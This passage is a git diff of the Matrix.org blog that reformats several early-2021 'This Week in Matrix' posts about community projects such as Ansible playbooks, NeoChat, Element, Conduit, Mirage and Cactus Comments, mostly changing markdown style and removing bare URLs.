This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > Learn more from our [changelog announcement](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/CHANGELOG.md#synapse-workers-support). - ### matrix-docker-ansible-deploy: GroupMe bridge - [Slavi](https://matrix.to/#/@slavi:devture.com) returned to say: > Thanks to [Cody Neiman](https://github.com/xangelix), [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy) can now install the [mx-puppet-groupme](https://gitlab.com/robintown/mx-puppet-groupme) bridge for bridging to [GroupMe](https://groupme.com). @@ -280,19 +278,15 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > To get started, follow our [Setting up MX Puppet GroupMe](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-bridge-mx-puppet-groupme.md) docs. - - ### ansible-matrix-collection from tntclaus [tntclaus](https://matrix.to/#/@tntclaus:matrix.org) announced: -> Collection of *Ansible* modules to manage Matrix Homeserver instance. Only tested with Synapse but may (partially) work with the other Matrix Homeserver implementations. +> Collection of _Ansible_ modules to manage Matrix Homeserver instance. Only tested with Synapse but may (partially) work with the other Matrix Homeserver implementations. > > Provides modules to manage users, rooms and communities. > -> https://github.com/eraga/ansible-matrix-collection - - +> ### synadm @@ -315,13 +309,13 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > * Licensed under GPL-3 > -> Have a look at the latest release notes for a complete list of new features and fixes: https://github.com/JOJ0/synadm/releases +> Have a look at the latest release notes for a complete list of new features and fixes: > > Thanks a lot to contributors @hpd, @kaiyou, @schwindp, @aaronraimist and @rht! Keep those PR's and ideas coming! You have been a great help! > -> Next features on the roadmap are "Purge History API", regular matrix client calls support and login as a user. Help me prioritise features by raising an issue: https://github.com/JOJ0/synadm +> Next features on the roadmap are "Purge History API", regular matrix client calls support and login as a user. Help me prioritise features by raising an issue: > -> Still, I am basically a one man show, and certainly any contributions are warmly welcomed! Even as a non-programmer you can help by keeping the implementation-status list up to date. If you find an admin API missing, please take a minute and use the integrated edit functionality github provides and add it to the list: https://github.com/JOJ0/synadm#implementation-status--commands-list. It helps contributors to quickly find out what feature they could code! +> Still, I am basically a one man show, and certainly any contributions are warmly welcomed! Even as a non-programmer you can help by keeping the implementation-status list up to date. If you find an admin API missing, please take a minute and use the integrated edit functionality github provides and add it to the list: . It helps contributors to quickly find out what feature they could code! > > I am also thinking about finding people who'd like to join the team, code new features and help maintain codebase, review PR's, get push access and so on. Spread the word! Join [#synadm:peek-a-boo.at](https://matrix.to/#/#synadm:peek-a-boo.at)! @@ -329,7 +323,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl [Shine](https://matrix.to/#/@shiny:shine.horse) reported: -> Dunno if twim worthy? Proton mentioned Matrix in https://protonmail.com/blog/whatsapp-alternatives/ +> Dunno if twim worthy? Proton mentioned Matrix in Seems to be worthy, it's been included anyway! @@ -347,7 +341,7 @@ Using own product 😀 👍 ![2021-02-19-1248X-Screenshot_20210217-193527.png](/blog/img/2021-02-19-1248X-Screenshot_20210217-193527.png) -> Here's the video link: https://youtu.be/ahEWG4JCA1w +> Here's the video link: That indeed is an unusual way to get featured, well done NeoChat! diff --git a/content/blog/2021/02/2021-02-25-synapse-1-28-0-released.md b/content/blog/2021/02/2021-02-25-synapse-1-28-0-released.md index 493d89a6a..3cd031bf8 100644 --- a/content/blog/2021/02/2021-02-25-synapse-1-28-0-released.md +++ b/content/blog/2021/02/2021-02-25-synapse-1-28-0-released.md @@ -20,4 +20,3 @@ There are no special upgrade instructions for 1.28.0. See the [full changelog](h Synapse is a Free and Open Source Software project, and we'd like to extend our thanks to everyone who contributed to this release, including [arya2331](https://github.com/arya2331), [auscompgeek](https://github.com/auscompgeek), [bubu](https://github.com/bubu), [compu42](https://github.com/compu42), [dklimpel](https://github.com/dklimpel), [dykstranet](https://github.com/dykstranet), and [shadowjonathan](https://github.com/shadowjonathan). We'd also like to thank [yoric](https://github.com/Yoric) for thoroughly reviewing and re-organizing the Synapse [CONTRIBUTING.md](https://github.com/matrix-org/synapse/blob/v1.28.0/CONTRIBUTING.md) file. - diff --git a/content/blog/2021/02/2021-02-26-this-week-in-matrix-2021-02-26.md b/content/blog/2021/02/2021-02-26-this-week-in-matrix-2021-02-26.md index aa5a00b29..800ffcbed 100644 --- a/content/blog/2021/02/2021-02-26-this-week-in-matrix-2021-02-26.md +++ b/content/blog/2021/02/2021-02-26-this-week-in-matrix-2021-02-26.md @@ -36,9 +36,9 @@ image = "https://matrix.org/blog/img/2021-02-26-jJwf3-image.png" > Interrupting spec update! > -> #### Spec +> ### Spec > -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -59,6 +59,7 @@ image = "https://matrix.org/blog/img/2021-02-26-jJwf3-image.png" > * [MSC3021: Limits API — Part 1: per-User limits](https://github.com/matrix-org/matrix-doc/pull/3021) > > * [MSC3020: WIP proposal for better supporting private federations](https://github.com/matrix-org/matrix-doc/pull/3020) +> > #### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, there's been activity from the core team on [MSC2516](https://github.com/matrix-org/matrix-doc/pull/2516) (voice messages), [MSC2312](https://github.com/matrix-org/matrix-doc/pull/2312) (matrix URI scheme) and [MSC3026](https://github.com/matrix-org/matrix-doc/pull/3026)/[MSC3032](https://github.com/matrix-org/matrix-doc/pull/3032) (presence improvements). @@ -67,8 +68,6 @@ image = "https://matrix.org/blog/img/2021-02-26-jJwf3-image.png" > > PR updates on matrix-doc has been refactored and straightened out, and is up for [review](https://github.com/matrix-org/matrix-doc/pull/3017). We're reviewing changes to our infrastructure on matrix.org in parallel which should result on spec.matrix.org hosting the unstable spec sometime early next week! - - ![2021-02-26-c2XcZ-stacked_area_chart.png](/blog/img/2021-02-26-c2XcZ-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -124,7 +123,7 @@ Synapse is a popular homeserver written in Python. [Carl Schwan](https://matrix.to/#/@carl:kde.org) announced: -> We released NeoChat 1.1 containing 2 months of new features and bugfixes. Most notably message editing, sticker events support, rewritten login screen, SSO support and more commands. Check it out at https://carlschwan.eu/2021/02/23/neochat-1.1/ +> We released NeoChat 1.1 containing 2 months of new features and bugfixes. Most notably message editing, sticker events support, rewritten login screen, SSO support and more commands. Check it out at ![2021-02-26-jJwf3-image.png](/blog/img/2021-02-26-jJwf3-image.png) @@ -134,7 +133,7 @@ Synapse is a popular homeserver written in Python. [aa13q](https://matrix.to/#/@aa13q:matrix.org) shared this video too! -> neochat pinephone poorly recorded effects demo 🙂 https://i.imgur.com/Z9vF9px.mp4 +> neochat pinephone poorly recorded effects demo 🙂 ### Nheko @@ -160,50 +159,46 @@ Synapse is a popular homeserver written in Python. Updates from the team: + **Delight** +* Social Login + * After shipping Social Login on matrix.org, we’re working on general stability to harden the feature, and get better visibility on stability. +* Spaces + * On Android, we’re making good progress on creating and managing spaces, first focusing on public space use cases. Otherwise, we’re also polishing implementations on web & iOS. + * - -* Social Login - * After shipping Social Login on matrix.org, we’re working on general stability to harden the feature, and get better visibility on stability. -* Spaces - * On Android, we’re making good progress on creating and managing spaces, first focusing on public space use cases. Otherwise, we’re also polishing implementations on web & iOS. - * - + **Web** +* 1.7.22 RC on staging, includes + * Improved Jitsi conference names + * Disabled chat effects when reduced motion preferred +* 1.7.22 planned for release on Monday (1 Mar) - -* 1.7.22 RC on staging, includes - * Improved Jitsi conference names - * Disabled chat effects when reduced motion preferred -* 1.7.22 planned for release on Monday (1 Mar) - + **iOS** +* 1.2.2 RC currently available in TestFlight +* 1.2.3 RC is coming +* Will be released on Monday: + * Mainly bug fixes around e2ee and VoIP - -* 1.2.2 RC currently available in TestFlight -* 1.2.3 RC is coming -* Will be released on Monday: - * Mainly bug fixes around e2ee and VoIP - + **Android** - - -* 1.1.0 released with a huge update on VoIP -* Initial sync is now more reliable for big accounts, consuming less RAM +* 1.1.0 released with a huge update on VoIP +* Initial sync is now more reliable for big accounts, consuming less RAM ### Watch The Matrix, for Apple Watch [Doug](https://matrix.to/#/@doug:micdrop.uk) told us: -> Hey TWIM. I'd like to present Watch The Matrix, a matrix client for watchOS that I've been working on over the last few weeks. Currently can view rooms, receive new messages and react to them: +> Hey TWIM. I'd like to present Watch The Matrix, a matrix client for watchOS that I've been working on over the last few weeks. Currently can view rooms, receive new messages and react to them: {{ youtube_player(video_id="Jh9iewrBdGQ") }} -Find the code: https://github.com/pixlwave/Watch-The-Matrix +Find the code: ## Dept of SDKs and Frameworks 🧰 @@ -213,8 +208,6 @@ Find the code: https://github.com/pixlwave/Watch-The-Matrix > [libQuotient 0.6.5](https://github.com/quotient-im/libQuotient/releases/tag/0.6.5) is out, featuring fixes in rich replies handling and the updated Matrix URIs support, as per the latest iteration of [MSC2312](https://github.com/matrix-org/matrix-doc/pull/2312), enabling shorter, nicer Reddit-style URIs such as `matrix:r/thisweekinmatrix:matrix.org`. - - ### libkazv (and the Kazv Project) [tusooa](https://matrix.to/#/@tusooa:tusooa.xyz) offered: @@ -237,23 +230,23 @@ Find the code: https://github.com/pixlwave/Watch-The-Matrix > > Those are stable enough to run as daemon, at least for days. > -> [libkazv-010]: https://gitlab.com/kazv/libkazv/-/tree/v0.1.0 +> [libkazv-010]: https://gitlab.com/kazv/libkazv/-/tree/v0.1.0 > -> [mtfb-010]: https://gitlab.com/kazv/matrix-tencent-forward-bot/-/tree/v0.1.0 +> [mtfb-010]: https://gitlab.com/kazv/matrix-tencent-forward-bot/-/tree/v0.1.0 > > 2. Added related ebuilds to [the overlay][tusooa-overlay]. > -> [tusooa-overlay]: https://gitlab.com/tusooa/tusooa-overlay +> [tusooa-overlay]: https://gitlab.com/tusooa/tusooa-overlay > > 3. Implemented [streaming uploads for libkazv][stream-mr]. > -> [stream-mr]: https://gitlab.com/kazv/libkazv/-/merge_requests/1 +> [stream-mr]: https://gitlab.com/kazv/libkazv/-/merge_requests/1 > > 4. Made matrix-tencent-forward-bot support [directly forwarding images][img-fwd] > > to the matrix room. > -> [img-fwd]: https://gitlab.com/kazv/matrix-tencent-forward-bot/-/commit/a91c3a3c6a20034634db64ec97782e6e36cf5c77 +> [img-fwd]: https://gitlab.com/kazv/matrix-tencent-forward-bot/-/commit/a91c3a3c6a20034634db64ec97782e6e36cf5c77 ### Opsdroid 0.21 @@ -288,7 +281,7 @@ Find the code: https://github.com/pixlwave/Watch-The-Matrix [select](https://matrix.to/#/@select:matrix.org) announced: -> So I had a minute to release my open q&a bot taavi. +> So I had a minute to release my open q&a bot taavi. > > I always wanted to write a chatbot that does cool things, so checkmark for that one on the list. In addition to that I recently failed a job interview. For their technical skill test (I did not fail this :P), I got a task for which I learned how to use `puppeteer`, then saw a post on reddit about [Tuxi](https://www.reddit.com/r/linux/comments/lk1il3/no_need_of_alexa_siri_cortana_i_am_happy_with_my/) and together with my previous project that included Matrix ([Audius](https://github.com/select/audius)), I knew what I had to do: create Taavi. > @@ -296,13 +289,13 @@ Find the code: https://github.com/pixlwave/Watch-The-Matrix > > I gave my daughter the task to choose a name for a bot, that can answer any question in the world, and she came up with Taavi, nice! > -> https://gitlab.com/s3lect/taavi-bot +> ### Ansible role for installing Maubot via Docker [jaywink](https://matrix.to/#/@jaywink:federator.dev) said: -> I created an Ansible role for installing Maubot via Docker - https://git.feneas.org/jaywink/ansible-maubot . Currently it only supports an Sqlite database, but pull requests are welcome for more configuration. Supports a pre-created client account. +> I created an Ansible role for installing Maubot via Docker - . Currently it only supports an Sqlite database, but pull requests are welcome for more configuration. Supports a pre-created client account. ## Dept of Interesting Projects 🛰️ @@ -310,7 +303,7 @@ Find the code: https://github.com/pixlwave/Watch-The-Matrix [ahq](https://matrix.to/#/@ahq:matrix.org) reported: -> I've written a post introducing Hummingbard. https://hummingbard.com/hummingbard/introducing-hummingbard +> I've written a post introducing Hummingbard. This looks really interesting! @@ -326,7 +319,7 @@ There is also [a sympathetic response](https://stuker.com/2021/whatsapp-and-most [Seirdy](https://matrix.to/#/@seirdy:envs.net) said: -> i've been getting some feedback from other matrix users on a blog post i wrote that outlined a few concerns I had about the Matrix ecosystem and steps for improvement. idk if it'd be relevant in TWIM, but I noticed that "Final Thoughts" sometimes linked blog posts so I thought I'd share: https://seirdy.one/2021/02/23/keeping-platforms-open.html +> i've been getting some feedback from other matrix users on a blog post i wrote that outlined a few concerns I had about the Matrix ecosystem and steps for improvement. idk if it'd be relevant in TWIM, but I noticed that "Final Thoughts" sometimes linked blog posts so I thought I'd share: ## Dept of Ping 🏓 diff --git a/content/blog/2021/03/2021-03-05-this-week-in-matrix-2021-03-05.md b/content/blog/2021/03/2021-03-05-this-week-in-matrix-2021-03-05.md index 503c47173..69c92a0e0 100644 --- a/content/blog/2021/03/2021-03-05-this-week-in-matrix-2021-03-05.md +++ b/content/blog/2021/03/2021-03-05-this-week-in-matrix-2021-03-05.md @@ -30,7 +30,7 @@ Element announced [Element Home](https://element.io/blog/element-home/), a new w [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -40,22 +40,23 @@ Element announced [Element Home](https://element.io/blog/element-home/), a new w > > **MSCs in Final Comment Period:** > -> * _No MSCs are in FCP._ +> * *No MSCs are in FCP.* > > **New MSCs:** > > * [\[MSC3038\] Typed typing notifications](https://github.com/matrix-org/matrix-doc/pull/3038) +> > #### Spec Core Team > > This week the Spec Core Team worked on [MSC2858](https://github.com/matrix-org/matrix-doc/pull/2858) (sso ID providers), [MSC2403](https://github.com/matrix-org/matrix-doc/pull/2403) (knocking) and [MSC2746](https://github.com/matrix-org/matrix-doc/pull/2746) (voip signalling), as well as held another retrospective of the past month. Discussion mainly focused on process and the new spec redesign. Speaking of which... > > #### New Spec Platform > -> **The new spec has launched!** 🎉 Check it out at https://spec.matrix.org/unstable! Release versions will be landing sometime soon. Bear with us as we finalise the new release process. +> **The new spec has launched!** 🎉 Check it out at ! Release versions will be landing sometime soon. Bear with us as we finalise the new release process. > > Huge thanks to wbamberg for working hard on bringing the idea to a reality. The Matrix.org foundation will continue maintenance of the platform and continue to make it even better for developers in the coming months. > -> We've already got a number of bug reports that need fixing. If you find anything that's a bit off with the redesign, please file an issue at https://github.com/matrix-org/matrix-doc. Thanks! +> We've already got a number of bug reports that need fixing. If you find anything that's a bit off with the redesign, please file an issue at . Thanks! ![2021-03-05-LWU1H-stacked_area_chart.png](/blog/img/2021-03-05-LWU1H-stacked_area_chart.png) @@ -63,7 +64,7 @@ Element announced [Element Home](https://element.io/blog/element-home/), a new w ### Conduit -Conduit is a Matrix homeserver written in Rust https://conduit.rs +Conduit is a Matrix homeserver written in Rust [timokoesters](https://matrix.to/#/@timokoesters:fachschaften.org) said: @@ -75,10 +76,10 @@ Conduit is a Matrix homeserver written in Rust https://conduit.rs > * Use transaction ids properly when sending transactions > * Improve sending code (less likely to get stuck) > -> * Small improvements to README.md and https://conduit.rs -> * Updated milestone + lots of new issues: https://gitlab.com/famedly/conduit/-/milestones/3 +> * Small improvements to README.md and +> * Updated milestone + lots of new issues: > -> * Appservice support improvements +> * Appservice support improvements > * no longer query for aliases outside of their namespace > > * no longer send irrelevant events @@ -87,18 +88,15 @@ Conduit is a Matrix homeserver written in Rust https://conduit.rs ![2021-03-05-c078w-image.png](/blog/img/2021-03-05-c078w-image.png) - > Thanks to Famedly and everyone who supports me on [Liberapay](https://liberapay.com/timokoesters) or Bitcoin! - - ### matrix-media-repo [matrix-media-repo](https://github.com/turt2live/matrix-media-repo) is a highly customizable multi-domain media repository for Matrix [TravisR](https://github.com/turt2live) told us: -> v1.2.3 is out now with a highish priority fix if you have audio thumbnails enabled. Other goodies include an `X-Robots-Tag` header and some artifact repairs on gif and apng thumbnails. See https://github.com/turt2live/matrix-media-repo/releases/tag/v1.2.3 for the full changelog. +> v1.2.3 is out now with a highish priority fix if you have audio thumbnails enabled. Other goodies include an `X-Robots-Tag` header and some artifact repairs on gif and apng thumbnails. See for the full changelog. ### Dendrite / gomatrixserverlib @@ -165,9 +163,9 @@ Synapse is a popular homeserver written in Python. > > If anyone's running/testing this please join [#groupme-go-bridge:malhotra.cc](https://matrix.to/#/#groupme-go-bridge:malhotra.cc) to chat about it > -> https://github.com/karmanyaahm/matrix-groupme-go +> -Another recent GroupMe bridge effort: https://gitlab.com/robintown/mx-puppet-groupme +Another recent GroupMe bridge effort: ### matrix-appservice-bridge v2.6.0-rc1 @@ -177,8 +175,6 @@ Another recent GroupMe bridge effort: https://gitlab.com/robintown/mx-puppet-gro > > Also [this PR](https://github.com/matrix-org/synapse/pull/9548) is the Synapse-side change to remove this behaviour. If your appservice implementation uses this behaviour, **please** chime in. - - ### matrix-appservice-irc hits v0.25.0(-rc1) [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) told us: @@ -189,22 +185,22 @@ Another recent GroupMe bridge effort: https://gitlab.com/robintown/mx-puppet-gro ### Hydrogen -A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. https://github.com/vector-im/hydrogen-web/ +A minimal Matrix chat client, focused on performance, offline functionality, and broad browser support. [Bruno](https://matrix.to/#/@bwindels:matrix.org) said: > Multiple releases this week with lots of bug fixes: > -> * make catchup sync faster, a fix for the biggest slowdown -> * correct profile info on messages during sending +> * make catchup sync faster, a fix for the biggest slowdown +> * correct profile info on messages during sending > -> * messages don't wait for remote echo to be marked as sent -> * make storage on iOS more reliable, this should hopefully be the last of storage errors on this platform +> * messages don't wait for remote echo to be marked as sent +> * make storage on iOS more reliable, this should hopefully be the last of storage errors on this platform > -> * fix file up/downloads on iOS -> * fixed an issue where room keys never got shared if you talk into an e2ee room for the very first time since login and you happen to be offline +> * fix file up/downloads on iOS +> * fixed an issue where room keys never got shared if you talk into an e2ee room for the very first time since login and you happen to be offline > -> * more little fixes. +> * more little fixes. > > Fixes, fixes, fixes. Working on another catchup sync slowdown, and then hope to focus soon a new features! @@ -212,33 +208,41 @@ A minimal Matrix chat client, focused on performance, offline functionality, and Updates from the teams + **VoIP** -- Fixed a bug causing connectivity failures on web -- Fixed bug preventing calls from connecting on iOS -- Moved VoIP call button to the top on web, and fixed bug resulting from the fact they no longer turn into the hangup button +* Fixed a bug causing connectivity failures on web +* Fixed bug preventing calls from connecting on iOS +* Moved VoIP call button to the top on web, and fixed bug resulting from the fact they no longer turn into the hangup button + + **Web** -- Added Edge to supported browsers -- E2EE Olm session deadlock issue (primarily affecting large accounts during startup) has been resolved -- 1.7.22 was released on Monday (1 Mar) - - Fixed user content sandbox security issue, please upgrade! - - Improved Jitsi conference names - - Disabled chat effects when reduced motion preferred -- 1.7.23-rc.1 next Wednesday (10 Mar) +* Added Edge to supported browsers +* E2EE Olm session deadlock issue (primarily affecting large accounts during startup) has been resolved +* 1.7.22 was released on Monday (1 Mar) + * Fixed user content sandbox security issue, please upgrade! + * Improved Jitsi conference names + * Disabled chat effects when reduced motion preferred +* 1.7.23-rc.1 next Wednesday (10 Mar) + + **iOS** -- Release 1.2.3 has been rejected by Apple -- Release 1.2.5 is available on App Store, it contains fixes: - - SSO flow crash fix - - An new option to filter NSFW public rooms (on by default) - - Fix a crash after login/password account creation when a grace is active - - Plus fixes from releases 1.2.2 and 1.2.3 +* Release 1.2.3 has been rejected by Apple +* Release 1.2.5 is available on App Store, it contains fixes: + + * SSO flow crash fix + * An new option to filter NSFW public rooms (on by default) + * Fix a crash after login/password account creation when a grace is active + * Plus fixes from releases 1.2.2 and 1.2.3 + **Android** -- Release 1.1.0 is now in production on the stores. -- We are working to improve the global performance of the application. Faster initial sync, faster sending of messages, faster timeline, etc. + +* Release 1.1.0 is now in production on the stores. +* We are working to improve the global performance of the application. Faster initial sync, faster sending of messages, faster timeline, etc. ### Element Web on IPFS @@ -255,8 +259,7 @@ Updates from the teams > > In other news, I've updated Element on IPFS to v1.7.22 and made a tiny script to easily update it in future. In case it's of use to anyone, it's right here: > -> ``` -> +> ```bash > #!/bin/bash > > if [ "$#" -ne 2 ]; then @@ -283,34 +286,34 @@ Updates from the teams ### Mirage -A fancy, customizable, keyboard-operable Matrix chat client for encrypted and decentralized communication. Written in Qt/QML and Python, currently in alpha. https://github.com/mirukana/mirage +A fancy, customizable, keyboard-operable Matrix chat client for encrypted and decentralized communication. Written in Qt/QML and Python, currently in alpha. [miruka](https://matrix.to/#/@miruka:matrix.org) said: > 0.7.0 has finally been released, including: > -> * Push rules and notifications support: +> * Push rules and notifications support: > -> * Native desktop notifications -> * Sound effect playback +> * Native desktop notifications +> * Sound effect playback > -> * Notifications can be globally turned on and off in the running client within a click -> * Context menu options in the room pane to control a room's notification settings +> * Notifications can be globally turned on and off in the running client within a click +> * Context menu options in the room pane to control a room's notification settings > -> * Push rule editor in account settings: -> * Control for any rule whether matching messages are +> * Push rule editor in account settings: +> * Control for any rule whether matching messages are > -> marked as unread, highlighted, trigger a desktop notification, +> marked as unread, highlighted, trigger a desktop notification, > sound, window alert/flash, or any combination of those actions > -> * Create custom rules targeting a particular room, message sender, +> * Create custom rules targeting a particular room, message sender, > > messages containing certain words or messages matching > advanced conditions > > * New Python-based configuration system replacing the previous rudimentary JSON settings file > -> * Config files and themes are now automatically reloaded when changed on disk +> * Config files and themes are now automatically reloaded when changed on disk > > * Rooms in the left pane can now be pinned to the top of the list > @@ -320,15 +323,15 @@ A fancy, customizable, keyboard-operable Matrix chat client for encrypted and de > > * The chat header now indicates when messages are selected in the timeline, > -> and offers copy/redact/clear selection buttons +> and offers copy/redact/clear selection buttons > -> * Visible indicator when downloading files +> * Visible indicator when downloading files > > * Command-line arguments parsing and a `--start-in-tray` option > > * Support for HTTP and SOCKS5 proxies > -> * Hovering on stability percentages in the public homeserver list +> * Hovering on stability percentages in the public homeserver list > > now shows more detailed tooltips about the server's recent downtimes > @@ -358,17 +361,17 @@ A fancy, customizable, keyboard-operable Matrix chat client for encrypted and de > > 1. Published API documentation [on the web][libkazv-doc]. > -> [libkazv-doc]: https://mxc.kazv.moe/libkazv/index.html +> [libkazv-doc]: https://mxc.kazv.moe/libkazv/index.html > > 2. Together with that, added a ["getting started" guide with an example][getting-started] >w< > -> [getting-started]: https://gitlab.com/kazv/libkazv/-/blob/servant/tutorials/tutorial0.md +> [getting-started]: https://gitlab.com/kazv/libkazv/-/blob/servant/tutorials/tutorial0.md > > 3. Made matrix-tencent-forward-bot support [directly forwarding images][img-fwd] > > *from* the matrix room. > -> [img-fwd]: https://gitlab.com/kazv/matrix-tencent-forward-bot/-/commit/68e5274f07886e93035adedaca495d762a69ba38 +> [img-fwd]: https://gitlab.com/kazv/matrix-tencent-forward-bot/-/commit/68e5274f07886e93035adedaca495d762a69ba38 > > 4. [Colourized sender nicks][col-nick] in messages for matrix-tencent-forward-bot. > @@ -390,7 +393,7 @@ How is it not `#matrix-admins-edu-deutsche:matrix.org`!? This is a welcome publi [carl](https://matrix.to/#/@carl:bordum.dk) announced: -> I am very excited to launch Cactus Comments (https://cactus.chat) today together with @asbjorn:olli.ng! +> I am very excited to launch Cactus Comments () today together with @asbjorn:olli.ng! > > Cactus Comments is a federated, web-embeddable comment system. And of course, we federate by building on Matrix! > @@ -402,10 +405,10 @@ How is it not `#matrix-admins-edu-deutsche:matrix.org`!? This is a welcome publi > > Join our matrix room: [#cactus:cactus.chat](https://matrix.to/#/#cactus:cactus.chat) > -> Read the introductory blog post: https://cactus.chat/blog/hello-cactus-comments/ -> Try the demo: https://cactus.chat/demo/ +> Read the introductory blog post: +> Try the demo: > -> Source code: https://gitlab.com/cactus-comments +> Source code: What a project! Let's see how we can integrate this with the Matrix.org blog! @@ -444,7 +447,7 @@ I like this a lot - there are so many uses for this project. > > * Code cleanup, Bug fixes and UI tweaks. > -> https://github.com/hummingbard/hummingbard +> Have you checkout out hummingbard yet? This is a *very* promising-looking project, I recommend [reading this introduction](https://hummingbard.com/hummingbard/introducing-hummingbard) to get started. @@ -453,6 +456,7 @@ Have you checkout out hummingbard yet? This is a *very* promising-looking projec Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2021/03/2021-03-12-this-week-in-matrix-2021-03-12.md b/content/blog/2021/03/2021-03-12-this-week-in-matrix-2021-03-12.md index d9cce3e27..3f3a8f05a 100644 --- a/content/blog/2021/03/2021-03-12-this-week-in-matrix-2021-03-12.md +++ b/content/blog/2021/03/2021-03-12-this-week-in-matrix-2021-03-12.md @@ -22,7 +22,7 @@ image = "https://matrix.org/blog/img/2021-03-12-Bwf22-stacked_area_chart.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) told us: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -47,12 +47,10 @@ image = "https://matrix.org/blog/img/2021-03-12-Bwf22-stacked_area_chart.png" > > #### Spec Core Team > -> Now that the new spec platform is out, we're looking to unfreeze the spec so that spec PRs can once again start landing. That process has been written up in [an issue](https://github.com/matrix-org/matrix-doc/issues/3055). Once again thanks to everyone that's given https://spec.matrix.org a try and [reported their feedback](https://github.com/matrix-org/matrix-doc/issues/). 🙂 +> Now that the new spec platform is out, we're looking to unfreeze the spec so that spec PRs can once again start landing. That process has been written up in [an issue](https://github.com/matrix-org/matrix-doc/issues/3055). Once again thanks to everyone that's given a try and [reported their feedback](https://github.com/matrix-org/matrix-doc/issues/). 🙂 > > Work this week from the SCT has focused mainly around [Multiple SSO Identity Providers](https://github.com/matrix-org/matrix-doc/pull/2858) and [Spaces](https://github.com/matrix-org/matrix-doc/pull/1772) (+ [Spaces Summaries](https://github.com/matrix-org/matrix-doc/pull/2946)). - - ![2021-03-12-Bwf22-stacked_area_chart.png](/blog/img/2021-03-12-Bwf22-stacked_area_chart.png) ## Dept of GSoC 🎓️ @@ -87,7 +85,7 @@ Matrix has been accepted, once again, as a GSOC mentoring organisation! [See us > More updates for the chart gods! I've pushed new versions of my element-web, matrix-synapse, and matrix-media-repo charts. And a new image tag (1.29.0) for the matrix-synapse image I'm still building, still haven't quite found the time to move everything over from it and into the chart proper. > -> The charts are still available at https://gitlab.com/ananace/charts, and the [#matrix-on-kubernetes:fiksel.info](https://matrix.to/#/#matrix-on-kubernetes:fiksel.info) room is still a great place to drop in for questions or general thoughts/comments. +> The charts are still available at , and the [#matrix-on-kubernetes:fiksel.info](https://matrix.to/#/#matrix-on-kubernetes:fiksel.info) room is still a great place to drop in for questions or general thoughts/comments. ## Dept of Clients 📱 @@ -119,46 +117,52 @@ Matrix has been accepted, once again, as a GSOC mentoring organisation! [See us Updates provided by the teams. + **Delight** -- Spaces - - On Web, we’ve merged in a bunch of WIP work on develop.element.io - - New concept of suggested rooms to help new users in a space discover important rooms - requires compatible homeserver - - New experience for previewing spaces before you join them - - Warning: The feature is in alpha, any spaces created at this time will need to be re-created later - - On Synapse, we’ve started implementing the Space summary API which is teasing out various details in various MSCs - - On Android, we’re: - - Space first cut on a branch behind lab flag; create Space / switch Space / join by link - - In flight | basic hierarchy support in SDK - - iOS started SDK foundation work for Spaces - - SDK: Support room type (MSC1840) - - In flight | Space creation SDK +* Spaces + * On Web, we’ve merged in a bunch of WIP work on develop.element.io + * New concept of suggested rooms to help new users in a space discover important rooms - requires compatible homeserver + * New experience for previewing spaces before you join them + * Warning: The feature is in alpha, any spaces created at this time will need to be re-created later + * On Synapse, we’ve started implementing the Space summary API which is teasing out various details in various MSCs + * On Android, we’re: + * Space first cut on a branch behind lab flag; create Space / switch Space / join by link + * In flight | basic hierarchy support in SDK + * iOS started SDK foundation work for Spaces + * SDK: Support room type (MSC1840) + * In flight | Space creation SDK + + **Web** -- Issue labels renamed to align with new Synapse style -- Element Web 1.7.23-rc.1 on staging - - Refreshed UI for file uploads and sent messages - - Improved VoIP call connection reliability - - Added Edge to the set of supported browsers - - Added send message button to the composer -- 1.7.23 will be released next Monday (Mar 15) +* Issue labels renamed to align with new Synapse style +* Element Web 1.7.23-rc.1 on staging + * Refreshed UI for file uploads and sent messages + * Improved VoIP call connection reliability + * Added Edge to the set of supported browsers + * Added send message button to the composer +* 1.7.23 will be released next Monday (Mar 15) + + **iOS** -- We released [1.2.6](https://github.com/vector-im/element-ios/releases) yesterday. The app is currently in review for the App Store and TestFlight. This release contains a new display for the progress of sending a message or media, a better UX for managing retry and bug fixes. +* We released [1.2.6](https://github.com/vector-im/element-ios/releases) yesterday. The app is currently in review for the App Store and TestFlight. This release contains a new display for the progress of sending a message or media, a better UX for managing retry and bug fixes. + + **Android** -- We are working to improve the performance of the application. We are making progress on the local echo display, the initial sync time, the timeline display and scroll, etc. We have prepared a release candidate 1.1.1, but only 1.1.2 will be pushed to production. + +* We are working to improve the performance of the application. We are making progress on the local echo display, the initial sync time, the timeline display and scroll, etc. We have prepared a release candidate 